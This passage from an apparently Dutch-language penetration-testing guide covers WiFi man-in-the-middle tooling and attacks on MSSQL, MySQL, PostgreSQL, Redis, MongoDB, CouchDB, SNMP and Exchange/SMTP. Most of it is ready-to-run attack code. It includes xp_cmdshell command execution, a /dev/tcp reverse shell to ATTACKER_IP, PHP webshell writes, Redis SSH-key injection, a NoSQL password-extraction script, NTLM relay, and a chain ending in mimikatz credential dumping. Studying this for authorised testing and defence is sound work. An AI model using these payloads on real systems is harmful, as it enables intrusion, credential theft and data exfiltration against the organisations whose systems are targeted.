Zodra je op het WiFi-netwerk zit — hetzij door het wachtwoord te kraken, hetzij via een Evil Twin — ben je een interne aanvaller. Nu beginnen de technieken uit Deel II: Initiële Toegang:

# Netwerk discovery
arp-scan -l
nmap -sn 192.168.1.0/24

# Credential harvesting
responder -I wlan0 -dwP

# MITM
bettercap -iface wlan0 -eval "net.sniff on; net.probe on"

# Vanaf hier: pivot naar het interne netwerk
# Zie Deel II voor Active Directory, Kerberos, laterale beweging

WiFi Pentest Checklist

TestToolDoel
Netwerk-scanairodump-ngAlle AP’s en clients in kaart
WPA2-PSK handshakeairodump-ng + aireplay-ngWachtwoord offline kraken
PMKIDhcxdumptoolClientless wachtwoord capture
WPA Enterprisehostapd-manaCredential harvesting via Evil Twin
Evil Twinhostapd + dnsmasqMITM en credential capture
Client isolationarp-scan + nmapKunnen clients elkaar bereiken?
Rogue AP detectieairodump-ngOngeautoriseerde access points
WPSreaver/bullyWPS PIN brute force

WPA3 en zijn beperkingen

WPA3 is de opvolger van WPA2 en lost een aantal fundamentele problemen op. De handshake gebruikt Simultaneous Authentication of Equals (SAE), ook bekend als Dragonfly, in plaats van de PSK 4-way handshake. Dit betekent dat je de handshake niet meer offline kunt kraken — elke poging vereist een interactie met het access point.

Maar WPA3 is niet onaantastbaar:

# Dragonblood aanvallen (CVE-2019-9494, CVE-2019-9495)
# Side-channel aanvallen op de SAE-handshake
# Sommige implementaties lekken timing-informatie

# WPA3 transition mode
# Veel netwerken ondersteunen WPA2 EN WPA3 tegelijk
# Een aanvaller kan een client dwingen om WPA2 te gebruiken (downgrade)
# door een fake AP op te zetten dat alleen WPA2 adverteert

# Test of transition mode actief is
airodump-ng wlan0mon | grep "WPA3\|SAE"
# Als je zowel WPA2 als WPA3 ziet voor dezelfde SSID: downgrade mogelijk

Bettercap: het Zwitserse zakmes voor WiFi

# Bettercap combineert meerdere tools in één interface

# Start bettercap in WiFi-modus
bettercap -iface wlan0mon

# Scan netwerken
wifi.recon on

# Deauth een specifieke client
wifi.deauth AA:BB:CC:DD:EE:FF

# Handshake capture
wifi.assoc all
# Handshakes worden automatisch opgeslagen

# MITM na verbinding met het netwerk
set net.sniff.verbose true
net.sniff on
# Nu zie je al het onversleutelde verkeer

# DNS spoofing
set dns.spoof.domains target.com
set dns.spoof.address YOUR_IP
dns.spoof on

# HTTP proxy met credential capture
set http.proxy.sslstrip true
http.proxy on

WiFi Forensics en Detectie

Als pentester wil je weten of je aanvallen gedetecteerd worden. Hier zijn de indicators die een WIDS (Wireless Intrusion Detection System) oppikt:

AanvalDetectie-indicatorTools die het detecteren
DeauthenticatieBurst van deauth-frames van onbekende bronKismet, AirMagnet, Cisco wIPS
Evil TwinTweede AP met dezelfde SSID maar ander BSSIDKismet, FluxionDetect
PMKID harvestingOngebruikelijke associatie-requests zonder voltooiingWeinig — moeilijk te detecteren
WPA Enterprise impersonationRADIUS-server met ander certificaat802.1X supplicant controle, RADIUS logs
ARP spoofing (post-exploit)MAC-adres wijzigingen in ARP-tabelarpwatch, DHCP snooping

Database en Mail Server Aanvallen

Database en Mail Server Aanvallen

De kroonjuwelen

Als je een netwerk binnendringt, is de database het einddoel. Niet de webserver, niet de fileserver, niet de printer in de gang die al maanden “papier bijvullen” knippert. De database. Daar staat de klantdata, de financiële informatie, de credentials, de bedrijfsgeheimen. Het is de kluis in het midden van het gebouw, en alles wat we tot nu toe hebben gedaan — de verkenning, de initiële toegang, de privilege escalatie, het laterale bewegen — is het pad ernaartoe.

Maar databases zijn niet alleen doelen. Ze zijn ook springplanken. Een MSSQL-server met xp_cmdshell is een command-and-control kanaal. Een PostgreSQL-server met COPY ... FROM PROGRAM is een remote shell. Een Redis-instance zonder wachtwoord is een SSH-key writer. In de juiste (of verkeerde) handen is een database niet alleen een bron van data, maar een bron van code execution.

Microsoft SQL Server

MSSQL is de database van het Windows-ecosysteem. Als je in een Active Directory-omgeving zit, is de kans groot dat ergens een MSSQL-server draait — achter SharePoint, achter de ERP-applicatie, achter dat custom .NET-systeem dat in 2008 is gebouwd en sindsdien alleen is bijgewerkt met gebeden.

Connectie en enumeratie

# CrackMapExec: test credentials tegen MSSQL
crackmapexec mssql 10.10.10.0/24 -u user -p password

# Impacket mssqlclient: interactieve SQL shell
mssqlclient.py domain/user:password@target -windows-auth

# Nmap: MSSQL service detectie
nmap -sV -p 1433 --script ms-sql-info target

xp_cmdshell: Remote Code Execution via SQL

Dit is de heilige graal van MSSQL-exploitatie. xp_cmdshell is een opgeslagen procedure die systeemcommando’s uitvoert op de database-server. Het staat standaard uit, maar als je sysadmin-rechten hebt — en dat heb je vaker dan je denkt — kun je het inschakelen.

-- Controleer of xp_cmdshell al actief is
EXEC xp_cmdshell 'whoami';

-- Zo niet: activeer het
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Nu heb je RCE
EXEC xp_cmdshell 'whoami';
-- Output: nt service\mssqlserver

EXEC xp_cmdshell 'ipconfig';
EXEC xp_cmdshell 'dir C:\Users\';
EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt';

-- Reverse shell
EXEC xp_cmdshell 'powershell -e JABjAGw...';

Linked Servers: laterale beweging via databases

-- Ontdek linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;

-- Query uitvoeren op linked server
SELECT * FROM OPENQUERY("LINKED-SERVER", 'SELECT @@servername');

-- xp_cmdshell via linked server (double-hop)
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED-SERVER];
EXEC ('EXEC xp_cmdshell ''whoami'';') AT [LINKED-SERVER];

MSSQL credentials stelen

-- Hashes uit de master database
SELECT name, password_hash FROM master.sys.sql_logins;

-- Impersonation
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;    -- Wie ben je nu?
EXEC xp_cmdshell 'whoami';

-- NTLM relay via xp_dirtree
EXEC xp_dirtree '\\attacker-ip\share';
-- Dit stuurt de NTLM-hash van het MSSQL service account naar je Responder

MySQL en MariaDB

# Brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt target mysql

# MySQL shell
mysql -u root -p -h target

# Versie en configuratie
SELECT @@version;
SELECT @@datadir;
SHOW VARIABLES LIKE '%secure_file_priv%';  -- Waar mag je bestanden lezen/schrijven?

Bestanden lezen en schrijven

-- Bestand lezen (als secure_file_priv het toestaat)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');

-- Bestand schrijven (webshell)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- Als secure_file_priv leeg is: geen restricties
-- Als het een pad bevat: alleen binnen dat pad
-- Als het NULL is: geen file operaties mogelijk

UDF: User Defined Functions voor RCE

# UDF (User Defined Functions) zijn gecompileerde bibliotheken
# die MySQL kan laden. Met een kwaadaardige UDF krijg je RCE.

# Stap 1: Vind de plugin directory
mysql> SELECT @@plugin_dir;
# /usr/lib/mysql/plugin/

# Stap 2: Upload de UDF library
# (via SQL of een andere schrijfmethode)

# Stap 3: Registreer de functie
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';

# Stap 4: Voer commando's uit
SELECT sys_exec('id');
SELECT sys_exec('cat /etc/shadow');

PostgreSQL

PostgreSQL heeft een reputatie als de “veilige” database, en dat is deels terecht. De standaardconfiguratie is restrictiever dan MySQL of MSSQL. Maar als je er eenmaal in zit met de juiste rechten, zijn de mogelijkheden minstens zo krachtig.

# Connectie
psql -U postgres -h target

# Of via Metasploit
use auxiliary/scanner/postgres/postgres_login

Command Execution via COPY

-- Direct command execution (PostgreSQL 9.3+, als superuser)
CREATE TABLE cmd_exec(output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

-- Reverse shell
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

-- Large Object methode (oudere versies)
SELECT lo_import('/etc/passwd');
SELECT lo_get(LOID);

Redis: de database zonder slot

Redis is in-memory, snel, en — in de standaardconfiguratie — volstrekt onbeveiligd. Geen authenticatie, geen encryptie, toegankelijk op poort 6379. Het is als een kluis die je vraagt: “Wat is het wachtwoord?” en als je zegt “Ik heb er geen” antwoordt: “Geen probleem, kom maar binnen.”

# Test ongeauthenticeerde toegang
redis-cli -h target
> INFO
> KEYS *
> CONFIG GET *

# SSH key schrijven (RCE via SSH)
# Stap 1: Genereer SSH key
ssh-keygen -t rsa -f redis_key
echo -e "\n\n" > padding.txt
cat padding.txt redis_key.pub padding.txt > payload.txt

# Stap 2: Schrijf key naar Redis
cat payload.txt | redis-cli -h target -x set ssh_key

# Stap 3: Dump naar authorized_keys
redis-cli -h target config set dir /root/.ssh
redis-cli -h target config set dbfilename "authorized_keys"
redis-cli -h target save

# Stap 4: SSH als root
ssh -i redis_key root@target

# Webshell schrijven (als Redis als root draait en je het webroot pad kent)
redis-cli -h target config set dir /var/www/html
redis-cli -h target config set dbfilename "shell.php"
redis-cli -h target set payload '<?php system($_GET["cmd"]); ?>'
redis-cli -h target save

SNMP Exploitation

# Community string brute force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target

# SNMP walk (als je de community string hebt)
snmpwalk -v2c -c public target

# Interessante OIDs
snmpwalk -v2c -c public target 1.3.6.1.2.1.25.4.2.1.2    # Draaiende processen
snmpwalk -v2c -c public target 1.3.6.1.4.1.77.1.2.25      # Gebruikersnamen
snmpwalk -v2c -c public target 1.3.6.1.2.1.25.6.3.1.2      # Geinstalleerde software
snmpwalk -v2c -c public target 1.3.6.1.2.1.6.13.1.3        # Open TCP poorten

# SNMP v3 met credentials
snmpwalk -v3 -u username -a SHA -A authpass -x AES -X privpass -l authPriv target

Exchange en SMTP

Exchange aanvallen

# Autodiscover: configuratie-informatie lekken
curl -k https://autodiscover.target.com/autodiscover/autodiscover.xml \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>user@target.com</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>'

# OWA brute force
ruler --domain target.com brute --users users.txt --passwords passwords.txt

# MailSniper: mailbox doorzoeken na toegang
Invoke-SelfSearch -Mailbox user@target.com -Terms "password","wachtwoord","credentials"

# NTLM relay via Exchange (PrivExchange)
# Exchange authenticates naar de aanvaller via NTLM
# Die NTLM-auth wordt gerelayd naar de Domain Controller
ntlmrelayx.py -t ldap://dc.target.com --escalate-user attacker

SMTP enumeration

# Gebruiker enumeratie via VRFY
smtp-user-enum -M VRFY -U users.txt -t target

# Via RCPT TO
smtp-user-enum -M RCPT -U users.txt -t target -D target.com

# Open relay test
swaks --to victim@target.com --from ceo@target.com \
  --server target --body "Please wire $50,000 to account 12345"
# Als dit lukt zonder authenticatie: open relay = phishing vector

NoSQL Database Aanvallen

MongoDB

MongoDB is de meest populaire NoSQL-database, en ook de meest voorkomende in pentest-omgevingen. De standaardconfiguratie (vóór versie 3.6) had geen authenticatie — iedereen die het netwerk kon bereiken, had volledige toegang.

# Test ongeauthenticeerde toegang
mongosh --host target --port 27017
# Of met nmap
nmap -sV -p 27017 --script mongodb-info target

# Als je erin komt:
show dbs
use admin
db.getUsers()                  # Alle gebruikers
use target_app
show collections
db.users.find().pretty()       # Alle gebruikersdata

# Operator injection (vanuit een webapplicatie)
# Normaal login-request:
{"username": "admin", "password": "test"}

# Injection:
{"username": "admin", "password": {"$gt": ""}}
# Vertaalt naar: db.users.find({username: "admin", password: {$gt: ""}})
# $gt: "" matcht elk niet-leeg wachtwoord

# Regex-based wachtwoord extractie:
import requests
password = ""
while True:
    found = False
    for c in "abcdefghijklmnopqrstuvwxyz0123456789":
        resp = requests.post("http://target/api/login", json={
            "username": "admin",
            "password": {"$regex": f"^{password}{c}"}
        })
        if "success" in resp.text:
            password += c
            found = True
            break
    if not found:
        break
print(f"Password: {password}")

CouchDB

# CouchDB HTTP API (standaard onbeveiligd)
curl http://target:5984/
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs?include_docs=true

# Admin aanmaken (als er geen admin is)
curl -X PUT http://target:5984/_config/admins/hacker -d '"password123"'

Post-exploitatie: van database naar domein

Een database-compromittering is zelden het einddoel. Het is een springplank. Hier zijn de paden van database naar bredere compromittering:

Database gecompromitteerd
   |
   +-- Credential harvesting
   |     +-- Wachtwoord-hashes uit user tables
   |     +-- Connection strings naar andere databases
   |     +-- API-keys en tokens in configuratie-tables
   |     +-- Plaintext wachtwoorden (ja, dat komt voor)
   |
   +-- Command execution
   |     +-- MSSQL: xp_cmdshell
   |     +-- PostgreSQL: COPY FROM PROGRAM
   |     +-- MySQL: UDF of INTO OUTFILE (webshell)
   |     +-- Redis: SSH key schrijven
   |
   +-- Laterale beweging
   |     +-- MSSQL linked servers
   |     +-- Wachtwoord-hergebruik (dezelfde credentials op andere systemen)
   |     +-- NTLM relay via xp_dirtree
   |
   +-- Data exfiltratie
         +-- Klantgegevens, PII
         +-- Financiele data
         +-- Bedrijfsgeheimen
         +-- Credentials van andere systemen

Praktisch: van MSSQL naar Domain Admin

# Stap 1: xp_cmdshell voor RCE
EXEC xp_cmdshell 'whoami'
# Output: nt service\mssqlserver

# Stap 2: Controleer privileges
EXEC xp_cmdshell 'whoami /priv'
# SeImpersonatePrivilege? Potato aanval mogelijk!

# Stap 3: Potato attack (PrintSpoofer/JuicyPotato/GodPotato)
EXEC xp_cmdshell 'PrintSpoofer.exe -i -c "powershell -e JABjA..."'
# Nu draai je als SYSTEM

# Stap 4: Dump credentials
EXEC xp_cmdshell 'mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"'

# Stap 5: Lateral movement met gevonden credentials
# Als je een Domain Admin-hash hebt: pass-the-hash naar de DC
# Als je een service account hebt: Kerberoasting of Silver Ticket